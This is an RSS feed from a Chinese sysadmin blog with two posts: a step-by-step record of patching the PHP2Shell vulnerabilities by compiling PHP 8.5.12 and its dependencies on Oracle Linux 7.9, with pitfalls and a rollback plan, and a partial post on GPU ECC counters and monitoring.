<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>一个伪linux粉丝的blog</title>
	<atom:link href="https://blog.wanjie.info/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.wanjie.info</link>
	<description></description>
	<lastBuildDate>Sat, 24 Oct 2026 08:07:24 +0000</lastBuildDate>
	<language>zh-Hans</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
		<item>
		<title>PHP2Shell 紧急升级：Oracle Linux 7.9 编译 PHP 8.5 实录</title>
		<link>https://blog.wanjie.info/2026/10/php2shell-%e7%b4%a7%e6%80%a5%e5%8d%87%e7%ba%a7%ef%bc%9aoracle-linux-7-9-%e7%bc%96%e8%af%91-php-8-5-%e5%ae%9e%e5%bd%95/</link>
					<comments>https://blog.wanjie.info/2026/10/php2shell-%e7%b4%a7%e6%80%a5%e5%8d%87%e7%ba%a7%ef%bc%9aoracle-linux-7-9-%e7%bc%96%e8%af%91-php-8-5-%e5%ae%9e%e5%bd%95/#respond</comments>
		
		<dc:creator><![CDATA[wanjie]]></dc:creator>
		<pubDate>Sat, 24 Oct 2026 08:07:24 +0000</pubDate>
				<category><![CDATA[network]]></category>
		<category><![CDATA[unix/linux]]></category>
		<category><![CDATA[CVE-2026-109618]]></category>
		<category><![CDATA[CVE-2026-109619]]></category>
		<category><![CDATA[libzip CMake]]></category>
		<category><![CDATA[LNMP]]></category>
		<category><![CDATA[OpenSSL 3.x 源码编译]]></category>
		<category><![CDATA[PHP 8.5 编译]]></category>
		<category><![CDATA[PHP2Shell]]></category>
		<guid isPermaLink="false">https://blog.wanjie.info/?p=4087</guid>

					<description><![CDATA[一次被安全漏洞逼出来的“极限升级”。PHP2Shell（CVE-2026-109618/109619）以 CVSS 9.2、未授权 RCE 的威胁横扫 PHP 全场景，而目标节点是 Oracle Linux 7.9——一个 GCC 4.8.5、OpenSSL 1.0.2k、libxml2 2.9.1、zlib 1.2.7 的老旧系统，系统库版本全线低于 PHP 8.5 的最低要求。作者没有选择覆盖系统库，而是将 libxml2、OpenSSL 3.x、zlib、curl、libiconv、libzip 逐个源码编译到独立目录，再用 PKG_CONFIG_PATH 与 -rpath 引导 PHP 链接，最终在 devtoolset-11 工具链下完成了 PHP 8.5.11 的编译与 LNMP 切换。文章复盘了 12 个踩坑点，其中 OpenSSL 统一 3.x、libzip 的 lib64 路径、php-fpm Socket 属主三个坑最具复现性，可作为“老系统上跑新 PHP”的完整方法论参考。]]></description>
										<content:encoded><![CDATA[<blockquote>
<blockquote><p>一直有人说 PHP 是世界上最好的语言——这次 7 成网站用行动（被迫）投了赞成票，然后 PHP 官方连夜发布了两个 CVSS 9.2 的 RCE 补丁。</p>
<p>于是我这个 Oracle Linux 7.9 的"钉子户"，也必须把去年 php 翻车的升级工程再战一次。</p></blockquote>
<blockquote><p><strong>TL;DR</strong>：PHP 官方于 2026-10-21 发布紧急安全更新，修复两个 CVSS 9.2 的未授权 RCE 漏洞（代号 <strong>PHP2Shell</strong>），修复版本为 <strong>8.2.35 / 8.3.36 / 8.4.27 / 8.5.12</strong>。由于 Oracle Linux 7.9 自带依赖库全面低于 PHP 8.5 门槛，本文记录在不动系统库的前提下，通过"独立目录源码编译 + PKG_CONFIG_PATH 引导"完成升级的全过程，以及 12 个踩坑点的规避方案。</p></blockquote>
</blockquote>
<p>&nbsp;</p>
<div data-v-274a7a75="">
<div id="1792824795889" class="markdown-body md-body tl" data-v-274a7a75="">
<h2>一、漏洞背景：为什么必须马上升级</h2>
<p>2026 年 10 月 21 日，PHP 官方罕见地<strong>提前一天预告</strong>安全发布节奏，随后放出两个 CVSS v4.0 评分 <strong>9.2 / 10</strong> 的严重漏洞补丁，业内统称为 <strong>PHP2Shell</strong>：</p>
<div class="table-wrapper" data-allow-html="">
<div class="table-header" data-allow-html=""></div>
<table>
<thead>
<tr>
<th>CVE 编号</th>
<th>触发条件</th>
<th>危害</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>CVE-2026-109618</strong></td>
<td>PHP 处理内存耗尽错误时的异常退出流程，请求体尚未完成初始化即进入清理阶段</td>
<td>内存破坏 → RCE</td>
</tr>
<tr>
<td><strong>CVE-2026-109619</strong></td>
<td>FPM worker 处理新请求时未清理上一请求的内部状态，触发 Use-After-Free</td>
<td>内存破坏 → RCE</td>
</tr>
</tbody>
</table>
</div>
<p>两者均可在<strong>默认配置下被未授权攻击者通过特制 HTTP POST 请求直接利用</strong>，影响范围覆盖 <strong>PHP 5.4 至 8.5.11</strong>——也就是说，与你写的业务代码质量无关，哪怕站点只输出一行 <code>Hello World</code> 也会中招。</p>
<p><strong>官方修复版本</strong>：PHP 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12。PHP 8.1 及以下已 EOL，没有官方补丁，必须升级。</p>
<p><strong>风险等级</strong>：Cloudflare CEO 公开披露，漏洞公告发布后 45 分钟内攻击尝试从数千次飙升至数十万次，2 小时内累计数百万次；亚马逊蜜罐早在 10 月 17 日就已捕获野外利用尝试。<strong>升级是唯一可靠的修复方式，不存在完整的临时缓解方案。</strong></p>
<blockquote><p>📌 我在 2025 年 10 月踩过一次 LNMP 升级 PHP 8.3.25 失败回滚的坑（<a href="https://blog.wanjie.info/2025/10/lnmp-php-8-3-25-upgrade-failure-rollback/" target="_blank" rel="noopener">点这里回看</a>），这次借助 PHP2Shell 的契机，终于把升级一鼓作气推到了 8.5.12。</p></blockquote>
<h3>影响面有多广？——7 成网站都在枪口下</h3>
<p>根据 <strong>W3Techs 于 2026 年 10 月 22 日</strong>（漏洞发布次日）的统计，在能识别服务端编程语言的网站中，<strong>约 69.3% 使用 PHP</strong>。也就是说，全球近 7 成网站——无论规模大小——都在本次 PHP2Shell 的潜在射程之内。</p>
<p>其中受影响最大的几类场景：</p>
<div class="table-wrapper" data-allow-html="">
<div class="table-header" data-allow-html=""></div>
<table>
<thead>
<tr>
<th>受影响对象</th>
<th>原因</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>WordPress / Drupal / Joomla!</strong> 站点</td>
<td>CMS 核心即 PHP，漏洞在引擎层，与主题插件无关，<strong>必须升级 PHP 本体</strong></td>
</tr>
<tr>
<td><strong>cPanel / Plesk</strong> 虚拟主机面板</td>
<td>面板随附 PHP 运行时，用户无权自行编译升级，需等厂商推送</td>
</tr>
<tr>
<td><strong>部分厂商设备、Windows 桌面应用</strong></td>
<td>内嵌 PHP 运行时，往往是最容易被遗忘的死角</td>
</tr>
</tbody>
</table>
</div>
<blockquote><p>💡 给读者的自查建议：</p>
<ul>
<li>WordPress 用户：后台「站点健康 → 工具」可直接查看当前 PHP 版本；</li>
<li>虚拟主机用户：登录 cPanel/Plesk 的 “Select PHP Version / PHP Settings” 查看并切换版本；</li>
<li>自建服务器：<code>php -v</code> 一条命令见分晓。</li>
</ul>
<p><strong>PHP 8.1 及以下没有官方补丁，7 成网站里没升级的每一个，都是攻击者的活靶子。</strong></p></blockquote>
<h2>二、本次升级的核心挑战</h2>
<p><strong>系统太老，PHP 太新。</strong> Oracle Linux 7.9 自带的 libxml2、OpenSSL、zlib、libcurl、libzip 等基础库版本全部低于 PHP 8.5 的最低要求，且<strong>不能直接覆盖系统库</strong>——否则会破坏 <code>yum</code>、<code>sshd</code>、<code>curl</code> 等核心工具，风险极高。</p>
<p>最终采用 <strong>“逐个源码编译依赖到独立目录 + 环境变量引导 PHP 链接”</strong> 的方式完成，全程零系统库覆盖，可随时回滚。</p>
<h3>升级前自查清单</h3>
<ul>
<li>[x] 备份 <code>/usr/local/php</code> 与 <code>/usr/local/php/etc</code> 全套配置</li>
<li>[x] 备份 <code>php-fpm.conf</code>、<code>www.conf</code>、<code>php.ini</code></li>
<li>[x] 记录当前 <code>php -v</code>、<code>php -m</code> 输出，用于升级后比对</li>
<li>[x] 准备好回滚脚本（见文末）</li>
<li>[x] 选择业务低峰期执行 (个人博客，没啥访问）</li>
</ul>
<h2>三、最终成功的步骤</h2>
<h3>1. 安装编译工具链</h3>
<p>系统自带的 GCC 4.8.5 无法编译 PHP 8.5 的 SHA-NI 优化代码，必须安装 devtoolset-11：</p>
</div>
</div>
<p><span id="more-4087"></span></p>
<div data-v-274a7a75="">
<div class="code-no-artifacts" data-v-2967db7a="" data-v-274a7a75="">
<div class="top-outer" data-v-2967db7a="">
<div class="top" data-v-2967db7a="">
<pre class="urvanov-syntax-highlighter-plain-tag">sudo yum install -y centos-release-scl
sudo yum install -y devtoolset-11-gcc devtoolset-11-gcc-c++ devtoolset-11-binutils
scl enable devtoolset-11 bash
gcc --version   # 确认 11.2.1</pre><br />
⚠️ <strong>关键</strong>：后续所有编译操作都必须在 <code>scl enable devtoolset-11 bash</code> 的会话中执行，否则 configure 阶段会莫名报错。</p>
<div data-v-274a7a75="">
<div id="1792824795889" class="markdown-body md-body tl" data-v-274a7a75="">
<h3>2. 逐个编译依赖库（全部装到独立目录）</h3>
<div class="table-wrapper" data-allow-html="">
<div class="table-header" data-allow-html=""></div>
<table>
<thead>
<tr>
<th>依赖</th>
<th>系统版本</th>
<th>PHP 8.5 要求</th>
<th>编译安装路径</th>
</tr>
</thead>
<tbody>
<tr>
<td>libxml2</td>
<td>2.9.1</td>
<td>≥ 2.9.4</td>
<td><code>/usr/local/libxml2-new</code>（2.9.14）</td>
</tr>
<tr>
<td>OpenSSL</td>
<td>1.0.2k</td>
<td>≥ 1.1.1</td>
<td><code>/usr/local/openssl3</code>（3.5.0）</td>
</tr>
<tr>
<td>zlib</td>
<td>1.2.7</td>
<td>≥ 1.2.11</td>
<td><code>/usr/local/zlib-new</code>（1.3.2）</td>
</tr>
<tr>
<td>libcurl</td>
<td>7.29.0</td>
<td>≥ 7.61.0</td>
<td><code>/usr/local/curl-new</code>（8.23.0）</td>
</tr>
<tr>
<td>libiconv</td>
<td>系统 iconv 不满足</td>
<td>errno 检查失败</td>
<td><code>/usr/local/libiconv</code>（1.17）</td>
</tr>
<tr>
<td>libzip</td>
<td>无 / 过旧</td>
<td>≥ 0.11</td>
<td><code>/usr/local/libzip-new</code>（1.11.4，CMake 构建）</td>
</tr>
</tbody>
</table>
</div>
<p>每个库编译安装后，都执行：</p>
</div>
</div>
<div data-v-274a7a75="">
<div class="code-no-artifacts" data-v-2967db7a="" data-v-274a7a75="">
<div class="top-outer" data-v-2967db7a="">
<div class="top" data-v-2967db7a="">
<pre class="urvanov-syntax-highlighter-plain-tag">echo "/usr/local/xxx/lib" | sudo tee /etc/ld.so.conf.d/xxx.conf
sudo ldconfig</pre>
</div>
</div>
</div>
</div>
<div data-v-274a7a75="">
<div id="1792824795889" class="markdown-body md-body tl" data-v-274a7a75="">
<blockquote><p>⚠️ <strong>libzip 特别提醒</strong>：用 CMake 构建时默认装到 <code>lib64</code>，ldconfig 路径必须写 <code>/usr/local/libzip-new/lib64</code>，不能想当然写 <code>lib</code>。</p></blockquote>
<h3>3. 配置 PHP 编译参数</h3>
<p>下载并校验源码：</p>
</div>
</div>
<div data-v-274a7a75="">
<div class="code-no-artifacts" data-v-2967db7a="" data-v-274a7a75="">
<div class="top-outer" data-v-2967db7a="">
<div class="top" data-v-2967db7a="">
<pre class="urvanov-syntax-highlighter-plain-tag">cd /usr/local/src
wget https://www.php.net/distributions/php-8.5.12.tar.gz
sha256sum php-8.5.12.tar.gz
# 官方 .tar.bz2 SHA256: ffb60edc437ced63b5137e4984db379a8111c50049c711510d8b958277efc1a8
# 请以 https://www.php.net/releases/8_5_12.php 公布的 .gz 哈希为准
tar -xzf php-8.5.12.tar.gz
cd php-8.5.12</pre>
</div>
</div>
</div>
</div>
<div data-v-274a7a75="">
<div id="1792824795889" class="markdown-body md-body tl" data-v-274a7a75="">
<p><strong>重新激活 devtoolset-11</strong>（新开 shell 忘了就前功尽弃）：</p>
</div>
</div>
<div data-v-274a7a75="">
<div class="code-no-artifacts" data-v-2967db7a="" data-v-274a7a75="">
<div class="top-outer" data-v-2967db7a="">
<div class="top" data-v-2967db7a="">
<pre class="urvanov-syntax-highlighter-plain-tag">scl enable devtoolset-11 bash
gcc --version   # 确认 11.2.1+</pre>
</div>
</div>
</div>
</div>
<div data-v-274a7a75="">
<div id="1792824795889" class="markdown-body md-body tl" data-v-274a7a75="">
<p><strong>设置环境变量</strong>：</p>
</div>
</div>
<div data-v-274a7a75="">
<div class="code-no-artifacts" data-v-2967db7a="" data-v-274a7a75="">
<div class="top-outer" data-v-2967db7a="">
<div class="top" data-v-2967db7a="">
<pre class="urvanov-syntax-highlighter-plain-tag">export PKG_CONFIG_PATH=/usr/local/libzip-new/lib64/pkgconfig:/usr/local/openssl3/lib64/pkgconfig:/usr/local/libxml2-new/lib/pkgconfig:/usr/local/zlib-new/lib/pkgconfig:/usr/local/curl-new/lib/pkgconfig

export LDFLAGS="-Wl,-rpath,/usr/local/libzip-new/lib64 -Wl,-rpath,/usr/local/openssl3/lib64 -Wl,-rpath,/usr/local/libxml2-new/lib -Wl,-rpath,/usr/local/zlib-new/lib -Wl,-rpath,/usr/local/curl-new/lib -Wl,-rpath,/usr/local/libiconv/lib"</pre>
</div>
</div>
</div>
</div>
<div data-v-274a7a75="">
<div id="1792824795889" class="markdown-body md-body tl" data-v-274a7a75="">
<p><strong>configure 命令（最终可用版本）</strong>：</p>
</div>
</div>
</div>
</div>
</div>
<div class="top" data-v-2967db7a="">
<pre class="urvanov-syntax-highlighter-plain-tag">./configure \
  --prefix=/usr/local/php85 \
  --with-config-file-path=/usr/local/php85/etc \
  --with-config-file-scan-dir=/usr/local/php85/etc/php.d \
  --enable-fpm \
  --with-fpm-user=www \
  --with-fpm-group=www \
  --enable-cli \
  --with-openssl \
  --with-curl=/usr/local/curl-new \
  --with-zlib \
  --with-zlib-dir=/usr/local/zlib-new \
  --with-iconv=/usr/local/libiconv \
  --with-libzip=/usr/local/libzip-new \
  --with-mysqli=mysqlnd \
  --with-pdo-mysql=mysqlnd \
  --enable-mbstring \
  --enable-xml \
  --with-zip \
  --enable-bcmath \
  --enable-soap \
  --enable-sockets \
  --without-pdo-sqlite \
  --without-sqlite3</pre>
</div>
<div class="code-no-artifacts" data-v-2967db7a="" data-v-274a7a75="">
<div class="top-outer" data-v-2967db7a="">
<div class="top" data-v-2967db7a="">
<div data-v-274a7a75="">
<div id="1792824795889" class="markdown-body md-body tl" data-v-274a7a75="">
<blockquote><p>📝 <code>--with-zlib-dir</code> 和 <code>--with-libzip</code> 在 PHP 8.5 中<strong>已不被识别</strong>（加上不报错），真正生效的是 <code>PKG_CONFIG_PATH</code>。SQLite 因系统版本过旧直接禁用，业务无依赖。</p></blockquote>
<h3>4. 编译安装</h3>
</div>
</div>
<div data-v-274a7a75="">
<div class="code-no-artifacts" data-v-2967db7a="" data-v-274a7a75="">
<div class="top" data-v-2967db7a="">
<pre class="urvanov-syntax-highlighter-plain-tag">make -j$(nproc)
sudo make install</pre>
</div>
</div>
</div>
<div data-v-274a7a75="">
<div id="1792824795889" class="markdown-body md-body tl" data-v-274a7a75="">
<p><strong>安装后三项验证</strong>：</p>
</div>
</div>
<div data-v-274a7a75="">
<div class="code-no-artifacts" data-v-2967db7a="" data-v-274a7a75="">
<div class="top-outer" data-v-2967db7a="">
<div class="top" data-v-2967db7a=""></div>
</div>
<div id="" class="markdown-body md-code md-body tl" data-v-2967db7a="">
<div class="language language-bash" lang="bash">
<pre class="urvanov-syntax-highlighter-plain-tag">/usr/local/php85/bin/php -v
/usr/local/php85/bin/php -m | grep -E &lt;span class=&quot;hljs-string&quot;&gt;'iconv|curl|openssl|mbstring|xml|zip'&lt;/span&gt;
ldd /usr/local/php85/bin/php | grep -E &lt;span class=&quot;hljs-string&quot;&gt;'ssl|curl|xml|z|zip'&lt;/span&gt;</pre>
</div>
</div>
</div>
</div>
<div data-v-274a7a75="">
<div id="1792824795889" class="markdown-body md-body tl" data-v-274a7a75="">
<p><code>ldd</code> 输出必须指向 <code>/usr/local/xxx-new</code> 下你新编译的库，而不是 <code>/usr/lib64</code> 的旧库——这是判断 rpath 是否生效的金标准。</p>
<h3>5. 切换到 LNMP 环境</h3>
</div>
</div>
<div data-v-274a7a75="">
<div class="code-no-artifacts" data-v-2967db7a="" data-v-274a7a75="">
<div class="top" data-v-2967db7a="">
<pre class="urvanov-syntax-highlighter-plain-tag"># 1. 停止旧 FPM
lnmp php-fpm stop

# 2. 备份旧 PHP 目录
mv /usr/local/php /usr/local/php-$(date +%Y%m%d)-bak

# 3. 创建软链接（LNMP 脚本通过此路径访问）
ln -s /usr/local/php85 /usr/local/php

# 4. 复制并编辑配置
cp /usr/local/php85/etc/php-fpm.conf.default /usr/local/php85/etc/php-fpm.conf
cp /usr/local/php85/etc/php-fpm.d/www.conf.default /usr/local/php85/etc/php-fpm.d/www.conf</pre>
</div>
</div>
</div>
<div data-v-274a7a75="">
<div id="1792824795889" class="markdown-body md-body tl" data-v-274a7a75="">
<p>编辑 <code>www.conf</code>，确保 Socket 路径与 Nginx 一致：</p>
</div>
</div>
<div data-v-274a7a75="">
<div class="code-no-artifacts" data-v-2967db7a="" data-v-274a7a75="">
<div class="top" data-v-2967db7a="">
<pre class="urvanov-syntax-highlighter-plain-tag">listen = /tmp/php-cgi.sock
listen.owner = www
listen.group = www
listen.mode = 0660</pre>
</div>
</div>
</div>
<div data-v-274a7a75="">
<div id="1792824795889" class="markdown-body md-body tl" data-v-274a7a75="">
<blockquote><p>⚠️ 如果 <code>www.conf</code> 中存在 <code>listen.acl_users</code>，它会<strong>覆盖</strong> <code>owner/group</code> 设置，必须注释掉。</p></blockquote>
</div>
</div>
<div data-v-274a7a75="">
<div class="code-no-artifacts" data-v-2967db7a="" data-v-274a7a75="">
<div class="top" data-v-2967db7a="">
<pre class="urvanov-syntax-highlighter-plain-tag"># 5. 启动
lnmp php-fpm start
lnmp nginx reload</pre>
</div>
</div>
</div>
<div data-v-274a7a75="">
<div id="1792824795889" class="markdown-body md-body tl" data-v-274a7a75="">
<h2>四、12 个坑速查表（Ctrl+F 定位即用）</h2>
<div class="table-wrapper" data-allow-html="">
<div class="table-header" data-allow-html=""></div>
<table>
<thead>
<tr>
<th>#</th>
<th>现象</th>
<th>根因</th>
<th>规避方案</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td><code>dnf</code> 命令不存在</td>
<td>OL7.9 只有 yum</td>
<td>直接用 <code>yum</code> 即可</td>
</tr>
<tr>
<td>2</td>
<td><code>--enable-opcache</code> 警告</td>
<td>PHP 8.5 OPcache 已随核心编译</td>
<td><strong>删除该选项</strong>即可</td>
</tr>
<tr>
<td>3</td>
<td>configure 报 libxml2 过旧</td>
<td>系统 2.9.1 &lt; 2.9.4</td>
<td>源码编译 2.9.14 到 <code>/usr/local/libxml2-new</code>，走 <code>PKG_CONFIG_PATH</code></td>
</tr>
<tr>
<td>4</td>
<td>OpenSSL 1.0.2k 过旧 / curl 8.23 拒绝 1.1.1</td>
<td>curl 8.23 明确要求 OpenSSL 3.0+</td>
<td><strong>PHP 与 curl 统一用 OpenSSL 3.5.0</strong>，避免两套并存</td>
</tr>
<tr>
<td>5</td>
<td>configure 选错 OpenSSL</td>
<td>shell 残留旧 <code>PKG_CONFIG_PATH</code></td>
<td><code>unset PKG_CONFIG_PATH</code> 后用 <code>env PKG_CONFIG_PATH=... ./configure</code> 临时指定</td>
</tr>
<tr>
<td>6</td>
<td>zlib 1.2.7 过旧</td>
<td>&lt; 1.2.11</td>
<td>编译 zlib 1.3.2 到独立目录</td>
</tr>
<tr>
<td>7</td>
<td>iconv errno 检查失败</td>
<td>glibc iconv 不满足</td>
<td>编译 GNU libiconv 1.17，<code>--with-iconv=/usr/local/libiconv</code></td>
</tr>
<tr>
<td>8</td>
<td>libzip <code>.pc</code> 找不到</td>
<td>CMake 默认装到 <code>lib64</code></td>
<td>ldconfig 与 <code>PKG_CONFIG_PATH</code> 路径都用 <code>lib64</code></td>
</tr>
<tr>
<td>9</td>
<td><code>attribute(target("sha")) is unknown</code></td>
<td>GCC 4.8.5 不识别 SHA-NI</td>
<td>安装 devtoolset-11。<strong>不存在 <code>--disable-hash-sha-ni</code> 这个选项</strong>，别去试</td>
</tr>
<tr>
<td>10</td>
<td><code>SQLITE_DBCONFIG_ENABLE_LOAD_EXTENSION</code> 未定义</td>
<td>系统 SQLite 太老</td>
<td>业务无依赖则 <code>--without-pdo-sqlite --without-sqlite3</code></td>
</tr>
<tr>
<td>11</td>
<td>切换后 502，Socket 属主是 root</td>
<td>FPM 主进程 root 启动，Socket 默认 root</td>
<td>显式配置 <code>listen.owner/group/mode</code>，注释 <code>listen.acl_users</code>，用 <code>ls -l /tmp/php-cgi.sock</code> 验证</td>
</tr>
<tr>
<td>12</td>
<td><code>php-fpm</code> 不在 <code>bin</code></td>
<td>PHP 8.5 装到 <code>sbin</code></td>
<td><code>/usr/local/php85/sbin/php-fpm</code>，但 LNMP 通过软链接访问，<strong>软链接指对即可</strong></td>
</tr>
</tbody>
</table>
</div>
<h2>五、上线后验证清单</h2>
<p>升级完成、业务恢复正常后，<strong>不要马上关会话</strong>，跑完这 6 项再收工：</p>
</div>
</div>
<div data-v-274a7a75="">
<div class="top" data-v-2967db7a="">
<pre class="urvanov-syntax-highlighter-plain-tag"># 1. 版本必须 ≥ 8.5.12
/usr/local/php85/bin/php -v

# 2. 关键扩展加载正常
/usr/local/php85/bin/php -m | grep -E 'iconv|curl|openssl|mbstring|xml|zip'

# 3. 二进制动态链接指向新编译库
ldd /usr/local/php85/bin/php | grep -E 'ssl|curl|xml|z|zip'

# 4. Socket 属主为 www
ls -l /tmp/php-cgi.sock

# 5. FPM 进程监听正常
ps -ef | grep php-fpm

# 6. 访问 phpinfo() 页面（截图存档）</pre>
</div>
<div class="code-no-artifacts" data-v-2967db7a="" data-v-274a7a75="">
<div id="" class="markdown-body md-code md-body tl" data-v-2967db7a="">
<div class="language language-bash" lang="bash"></div>
</div>
</div>
</div>
<div data-v-274a7a75="">
<div id="1792824795889" class="markdown-body md-body tl" data-v-274a7a75="">
<p><strong>【此处补一张 phpinfo() 截图，显示 PHP Version 8.5.12 与加载的扩展】</strong></p>
<p><img fetchpriority="high" decoding="async" class="alignnone size-full wp-image-4088" src="https://blog.wanjie.info/wp-content/uploads/2026/10/php8512.png" alt="" width="1848" height="1270" /></p>
<p>此外，结合本次 PHP2Shell 漏洞特征（CVE-2026-109619 涉及跨请求状态残留），<strong>强烈建议同步检查 <code>php.ini</code> 中的 <code>session.gc_maxlifetime</code> 与 FPM 的 <code>pm.max_requests</code></strong>，适当调低 <code>pm.max_requests</code>（例如 500）可让 worker 周期性重建，进一步降低跨请求内存状态污染的暴露面。</p>
<h2>六、回滚预案（万一出问题）</h2>
</div>
</div>
<div data-v-274a7a75="">
<div class="code-no-artifacts" data-v-2967db7a="" data-v-274a7a75="">
<div class="top" data-v-2967db7a="">
<pre class="urvanov-syntax-highlighter-plain-tag">lnmp php-fpm stop
rm /usr/local/php
ln -s /usr/local/php-$(date +%Y%m%d)-bak /usr/local/php
lnmp php-fpm start
lnmp nginx reload</pre>
</div>
</div>
</div>
<div data-v-274a7a75="">
<div id="1792824795889" class="markdown-body md-body tl" data-v-274a7a75="">
<p><strong>关键</strong>：备份目录名带时间戳，回滚只需改一次软链接指向，不动任何库文件，5 分钟内可恢复业务。</p>
<h2>七、复盘与建议</h2>
<ul>
<li><strong>PHP 8.1 及以下没有补丁</strong>，仍在用的读者请尽快评估升级到 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12。</li>
<li><strong>临时缓解不可靠</strong>：WAF 规则、禁用某些函数等手段都挡不住该漏洞的利用链，升级是唯一正解。</li>
<li><strong>AI 时代的漏洞节奏变了</strong>：本次漏洞攻防两侧都在提速——常态化保持 PHP 版本跟进，比临时救火成本低得多。</li>
<li><strong>老系统 ≠ 不能升级</strong>：本篇证明 OL7.9 + 源码编译依赖同样能跑到 PHP 8.5.12，关键是"独立目录 + PKG_CONFIG_PATH + rpath"三板斧，不动系统库零风险。</li>
</ul>
<h2>参考链接</h2>
<ul>
<li>PHP 官方 8.5.12 发布公告：<a href="https://www.php.net/releases/8_5_12.php" target="_blank" rel="noopener" rel="nofollow" >https://www.php.net/releases/8_5_12.php</a></li>
<li>PHP 官方 8.x ChangeLog：<a href="https://www.php.net/ChangeLog-8.php" target="_blank" rel="noopener" rel="nofollow" >https://www.php.net/ChangeLog-8.php</a></li>
<li>W3Techs 服务端语言占有率统计（2026-10-22）：<a href="https://w3techs.com/technologies/details/pl-php" target="_blank" rel="noopener" rel="nofollow" >https://w3techs.com/technologies/details/pl-php</a></li>
<li>WatchTowr 漏洞 FAQ：<a href="https://watchtowr.com/intelligence/php-cve-2026-109618-faq" target="_blank" rel="noopener" rel="nofollow" >https://watchtowr.com/intelligence/php-cve-2026-109618-faq</a></li>
<li>Datadog Security Labs 分析：<a href="https://securitylabs.datadoghq.com/articles/php2shell-critical-vulnerabilities-in-php" target="_blank" rel="noopener" rel="nofollow" >https://securitylabs.datadoghq.com/articles/php2shell-critical-vulnerabilities-in-php</a></li>
<li>我上次升级失败的复盘：<a href="https://blog.wanjie.info/2025/10/lnmp-php-8-3-25-upgrade-failure-rollback/" target="_blank" rel="noopener">https://blog.wanjie.info/2025/10/lnmp-php-8-3-25-upgrade-failure-rollback/</a></li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wanjie.info/2026/10/php2shell-%e7%b4%a7%e6%80%a5%e5%8d%87%e7%ba%a7%ef%bc%9aoracle-linux-7-9-%e7%bc%96%e8%af%91-php-8-5-%e5%ae%9e%e5%bd%95/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>GPU ECC 监控盲区：Volatile 与 Aggregate DBE 区别</title>
		<link>https://blog.wanjie.info/2026/10/gpu-ecc-volatile-vs-aggregate-dbe-monitoring/</link>
		
		<dc:creator><![CDATA[wanjie]]></dc:creator>
		<pubDate>Sat, 24 Oct 2026 03:32:48 +0000</pubDate>
				<category><![CDATA[unix/linux]]></category>
		<category><![CDATA[DBE]]></category>
		<category><![CDATA[DCGM]]></category>
		<category><![CDATA[ECC 错误]]></category>
		<category><![CDATA[GPU 监控]]></category>
		<category><![CDATA[GPU 运维]]></category>
		<category><![CDATA[Grafana]]></category>
		<category><![CDATA[node_exporter]]></category>
		<category><![CDATA[nvidia-smi]]></category>
		<category><![CDATA[Prometheus]]></category>
		<category><![CDATA[RMA]]></category>
		<guid isPermaLink="false">https://blog.wanjie.info/?p=4081</guid>

					<description><![CDATA[关于 GPU ECC 监控“盲区”的运维复盘：监控大盘显示 0，但 nvidia-smi 的 Aggregate 中 DRAM Uncorrectable 已达 269。原因是大盘采集的是 Volatile 计数器，只统计本次启动周期；而 RMA 关注的是 Aggregate 累计值。文章解释了 SBE/DBE 区别、重启与清零误区，并给出用 nvidia-smi + node_exporter textfile + Prometheus 自建 Aggregate DBE 指标的方法，最终记录该卡从 269 涨到 512 并提交 RMA 的过程]]></description>
										<content:encoded><![CDATA[<p>监控大盘 Volatile 一片绿(也就是 0)，<code>nvidia-smi</code> 查询却出现了一个 269 数字 Aggregate DBE。这两个界面说的不是同一件事,而我这是后面才搞清楚的。<span id="more-4081"></span></p>
<article class="ecc">
<h2 class="ecc-h2">事情是从六月开始的</h2>
<p>那天例行巡检,在一台 GPU服务器 上敲了条常规检查命令:<code></code></p><pre class="urvanov-syntax-highlighter-plain-tag">nvidia-smi -i 2 -q | grep -A 20 "ECC Errors" | head -40</pre><p>输出里有一行,数字不怎么好看:</p><pre class="urvanov-syntax-highlighter-plain-tag">Aggregate
            DRAM Correctable                           : 7
            DRAM Uncorrectable                         : &lt;span class=&quot;r&quot;&gt;269&lt;/span&gt;</pre><p>269。不是 269 次"检测到但修好了",是 <strong>269 次压根修不好</strong>。</p>
<p>说白了,GPU 的显存里已经有 269 个位置,读出来的数据是错的,而且 ECC 纠错机制拿它没办法。这种错误有个正经名字叫 Uncorrectable ECC Error,或者按位宽叫 DBE(Double Bit Error)。它会干什么?让正在跑的训练任务莫名其妙崩掉,或者更糟——算出一堆看着像模像样、其实是垃圾的结果。</p>
<p>所以结论很直接: 这颗卡得换。</p>
<p>但麻烦的地方在于,换不了。报告了厂商，查了资料，NVIDIA 和整机厂商的 RMA 门槛是 <strong>512 个</strong>。当时是 269,还差一半多。于是这颗卡就卡在一个很微妙的状态里:已经确定坏了,但还没坏够。重启接着用。</p>
<div class="ecc-call warn">
<div class="ecc-call-t">于是问题变成了接下来几个月,得有人盯着这个数字。而它<strong>不在任何基础监控指标里</strong>——大盘每天都挺好,只有手动敲命令才看得见。</div>
</div>
<h2 class="ecc-h2">为什么监控大盘看不见它</h2>
<p>这是整件事最有意思的地方,也是我踩过的坑。</p>
<p>我们的大盘是 DCGM + Prometheus + Grafana 那套标准组合。它采集的指标叫 <code>DCGM_FI_DEV_ECC_DBE_VOL_TOTAL</code>。名字里那个 <code>VOL</code>,是 volatile 的缩写。而 <code>nvidia-smi</code> 里那个 269,出自 <strong>Aggregate</strong> 分类。两个词,两个完全不同的计数器。<br />
两个计数器,两种人生</p>
<div class="ecc-fig">
<p>Aggregate<br />
累计 · 出厂至今，重启能清零吗，不能，驱动重载后，数字原样保留<br />
代表什么，这块卡一生坏过几次，RMA 看的就是它<br />
